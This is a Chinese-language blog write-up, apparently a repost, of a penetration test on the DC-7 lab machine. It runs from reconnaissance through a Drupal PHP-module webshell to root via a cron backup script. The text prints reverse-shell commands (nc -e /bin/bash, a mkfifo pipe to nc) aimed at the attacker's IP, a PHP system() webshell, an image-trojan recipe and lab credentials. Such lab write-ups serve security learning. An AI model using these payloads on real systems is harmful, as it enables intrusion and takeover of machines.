DC-7 靶機滲透測試


DC-7 滲透測試

沖沖沖,好好學習 。對管道符的理解加深了好多。最后提權時,遇到了點麻煩。想不懂一條命令為啥能執行生效,耗了一整天才算解決掉。

操作機:kali 172.66.66.129

靶機:DC-4 172.66.66.138

網絡模式:NAT

netdiscover

image

172.66.66.138

dirb http://172.66.66.138

nmap -sV -A -p- 172.66.66.138

image

22端口 OpenSSL 7.4p1 ;80端口 Drupal 8 ;能看到robots.txt

image

訪問一下觀察研究網站頁面,

image

有一個搜索框,還發現左下角的 @DC7USER,這個是什么東西,好陌生。百度一下

image
image

於是找到這個東西,進去把源碼down了下來,那就代碼審計咯

image

image

(好一個腳本小子...)一個個去看看,顯示文件包含漏洞出在 footer標簽里,標簽定義文檔或者文檔的一部分區域的頁腳。<footer> 元素應該包含它所包含的元素的信息。

在典型情況下,該元素會包含文檔創作者的姓名、文檔的版權信息、使用條款的鏈接、聯系信息等等。

在一個文檔中,您可以定義多個<footer>元素。

image

​ 代碼含義:先定義了變量$file = 'contact-info.php' ,再判斷 變量對應的文件是或存在,存在則包含,否則 通過 _GET[ ] 獲取$file的值,不經過濾直接包含變量進來。從代碼邏輯上看,仿佛沒毛病,要執行的前提是預定義的變量$file = 'contact-info.php' 不存在。

​ 哈哈哈哈哈腦子進水了.....敲一下自己。一上來傻乎乎的審計,配置文件這么重要都不看完,在config.php里看到了數據庫賬號密碼

image

$username = "dc7user";
$password = "MdR3xOgB7#dW";

image

登錄失敗,記得開了22端口,試試ssh登錄。

image

登錄成功,提示有新郵件,在``/var/mail/`查看 mbox ,好長的內容

image

是個備份的內容,/opt/scripts/backups.sh

image

目標文件所有者是 root ,所屬組 是www-data,

當前用戶:輸入 id

uid=1000(dc7user) #當前用戶的 唯一標識 uid 1000

gid=1000(dc7user) #當前用戶的 所屬組 dc7user

groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) # 屬於的其他組

當前用戶是backups.sh的其他人,權限只有 r w讀寫。仿佛這些發現沒用,放棄,找下一個思路。

出來挨打 >.<
“所屬組 是www-data”,當看到這里,我沒有反應過來,一個這么高權限的腳本,當前用戶無法利用,但是 www-data 可以啊,www-data www-data ,想到了嗎?這的意思就是讓你從web端日進去,賬號成為 www-data ,這都想不到???????????

image

獲得的主要信息:

Shell腳本文件 /opt/scripts/backups.sh

數據庫文件:/home/dc7user/backups/website.sql

網站數據: /home/dc7user/backups/website.tar.gz

image

可見.gpg后綴,文件是經過加密的(為什么我沒有想到破解呢???自己反省一下)。有倆比較陌生的命令 drush 和 gpg(一種加密方式)。百度一圈得知可用 drush來修改任意用戶的密碼drush user-password 用戶名 --password="密碼"

想到爆破沒?可以去試試,gpg秘鑰解密PickYourOwnPassword(backup.sh中找到)。但是爆破完,里面也獲得不到有用的信息。

backups.sh中我們看到,使用drush備份數據庫的時候,先切換目錄至/var/www/html,所以我們也先切換目錄至/var/www/html/ cd 到/var/www/html 下使用,(盲猜的后台管理員賬號 admin ,在登錄頁面,輸入不存在的賬號,會提示該賬號未注冊。)

image

改完密碼,登錄試試,登進去之后

image

尋找可利用的地方,

image

此處的代碼沒有被解析,只原樣輸出了,繞過無果。再找找其他看

image

image

有圖片上傳框,想到圖片馬?

如何制作圖片馬還記得嗎?

windows下,先准備兩個 文件:tupian.png ma.php

打開cmd ,在當前路徑下執行:copy tupian.png/b+ma.php/a new.png

/b是以二進制格式復制/合並文件,適用於圖片或者聲音類文件。

/a是指定ascii格式復制/合並文件,適用於txt等文本類型。

image

image

傳上去了,但是菜刀連接不上,我馬呢?能確認上傳路徑是沒有錯的,那是為什么呢,

沒有cookie嗎?登錄一下網頁再試試

image

image

image

瀏覽網頁,admin登錄,再次嘗試連接一句話,仍然失敗。圖片沒有執行嗎?思路斷。

記得前面的靶機中,drupal有個模塊可以執行php代碼來着。

尋找cms中模塊安裝功能在哪,百度尋找該cms存在漏洞的功能模塊等,嘗試安裝存在漏洞的功能模塊/主題/插件,最后通過其漏洞實現侵入。

image

在線下載安裝,或者本地上傳模塊安裝。drupal官網找找模塊在哪,當前drupal為8.7.6版本。

在此處下載PHP Filter模塊http://drupal.org/project/php,上圖可見,下載的應該是 .gz文件,服務器linux的壓縮文件也應該是 .gz

image

image

image

image

image

image

執行成功,嘗試提權。

  1. <?php system("nc -e /bin/bash 172.66.66.129 8888");?>

  2. <?php system("$_GET['a']");?> 再訪問:http://172.66.66.138/node/6?a=nc -e /bin/bash 127.0.0.1 8888

image

image

python 交互shellpython -c 'import pty;pty.spawn("/bin/bash")'

image

然后呢?思路感覺又斷了 >.< 看了下大佬們的wp,抄來了這條一寸長的命令。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f" >> backups.sh 往backups.sh里 追加 地寫入這個命令,拆分一下理解理解

rm /tmp/f;	   
 
mkfifo /tmp/f;   

cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f

rm /tmp/f 刪除該文件(以免跟后面定義的 管道符 沖突)

mkfifo /tmp/f 這是創建自定義有名管道符。管道符的名稱是 /tmp/f (用於進程間的通訊, 如 ls > /tmp/f ,cat /tmp/f ,連通兩個進程之間的通訊)

​ cat /tmp/f 取出管道符中的內容, |/bin/sh -i 2>&1 將前面取出的內容作為 輸入 ,輸入給 /bin/sh ,再將bash 的標准錯誤輸出 也作為標准輸入 (2 >&1)給bash ,然后再將bash的輸出,傳給nc 遠程,再將nc 傳來的數據,寫入 管道符 /tmp/f 。最后首尾接通了。

​ 原理上講也沒啥難度,跟之前寫的fantanshell筆記里的都一樣,換個方式唯一,核心道理一模一樣。

但是有個疑問:為啥執行這命令后,nc反彈的shell,是root權限? 是哪里導致的身份成了 root ?

當前用戶是 www-data ,backups.sh所有者是root,所屬組是www-data

-rwxr-xr-x 1 root root 64K Feb 22 2017 /usr/bin/mkfifo 命令的權限也沒有suid呢?

為什么呢?下面是 backups.sh腳本的內容

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

想不懂一個問題,---------------------------------------------------------------------------------------------------------------------------------------

當前登錄用戶為 www-data ,id 顯示是uid=33(www-data) gid=33(www-data) groups=33(www-data)
現在有個腳本 backups.sh ,權限是 -rwx rwx r-x root www-data

image

腳本內容是:

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

提權方式 是,在腳本末尾追加寫入 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.66.66.138 8888 >/tmp/f (命令內容我能理解),寫入完成后再執行,開啟監聽,反彈回來的shell ,就是root權限了。
問題:為什么反彈回來的權限是 root 的?當前用戶是 www-data,這個身份執行 腳本,雖然腳本的所有者是root,但好像這個腳本沒有suid權限,為啥反彈回來的shell 是root權限的?


​ 為了驗證這個問題,(雖然還是沒懂為什么,但是想看看究竟是不是這樣子的)打開centos 寫個腳本測試一下

image

tmp下隨便寫個腳本,改一下權限 775 ,改 所有者 為root 和 所屬組為zhaocancheng ,腳本內容為驗證執行時候的用戶id 是否為root ,是root的話就echo。

image

執行結果並不是root,這就很迷了呀,為啥子哩.....

所以我可以認為,靶機上的腳本運行后能獲得 root 權限,跟 文件本身的權限 -rwx rwx r-x root www-data無關嗎?我覺得可以... 那難道是 靶機腳本里命令的緣故嗎?腳本中使用的命令有 drush、tar、gpg、chown,也能確認跟這些命令沒關系...

晚上洗澡忽然想到,上面的centos里的操作,邏輯上不對,得先把賬號加入那個組才可以接着下面的步驟。

最后換個思路思考,研究了下腳本里的命令,發現 chown 是只有root才能執行,然而腳本里有這條命令,並且這個提權方式是可行的(已有成功的)。自己本地嘗試的時候,普通賬號(及時在所屬組里)是無法執行腳本的,會報錯,提示不允許的操作。

image

那所以在靶機中,腳本在執行的時候,是root身份在執行了腳本,所以再追加進去的nc 反彈回來才是 root,會不會是 root的計划任務,定期以root身份執行腳本,順利提權root ,無奈當前用戶www-data 無法查看 root 下的計划任務。

最后知道,那個 追加進去的命令好像是 msf 的......


image

嗯? 磁盤沒空間? df -i 看到也沒有滿呀。啊?打開backups.sh看看

image

噢噢還真的是說磁盤滿了.....然鵝並沒有滿呀,上面也看到了呀,好吧我電腦也就256G ,確實是滿了...

幾天后回來想到,這應該是 msf生成的反彈shell后門,需要msf的環境才能執行成功。

最后

  1. 感覺學到的東西越來越少了,多回顧以前學過的知識,代碼審計生疏了好多好多...
  2. linux用戶可以屬於多個“組”,
  3. 看到特殊腳本,打開進去好好看,研究看,仔細看,看,看,看,
  4. Drush 是Drupal的命令行shell和Unix腳本接口,用於管理druoal網站。當新網站忘記密碼,想重置密碼,這時候服務器上剛好裝着 Drush ,那么恭喜:drush user-password 用戶名 --password="密碼"
  5. gpg 一種加密方式,linux可以安裝使用。加密解密也是個知識點。
  6. 我馬呢?我馬呢?🐴🐴🐴
  7. 為什么一句話的圖片木馬能起效果?原理是什么
  8. “所屬組 是www-data”,當看到這里,我沒有反應過來,一個這么高權限的腳本,當前用戶無法利用,但是 www-data 可以啊,www-data www-data ,想到了嗎?這的意思就是讓你從web端日進去,賬號成為 www-data ,這都想不到???????????
  9. mkfifo 開心,學到了個神奇的命令。筆記放在另外的地方,篇幅有點長,就不放這里了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM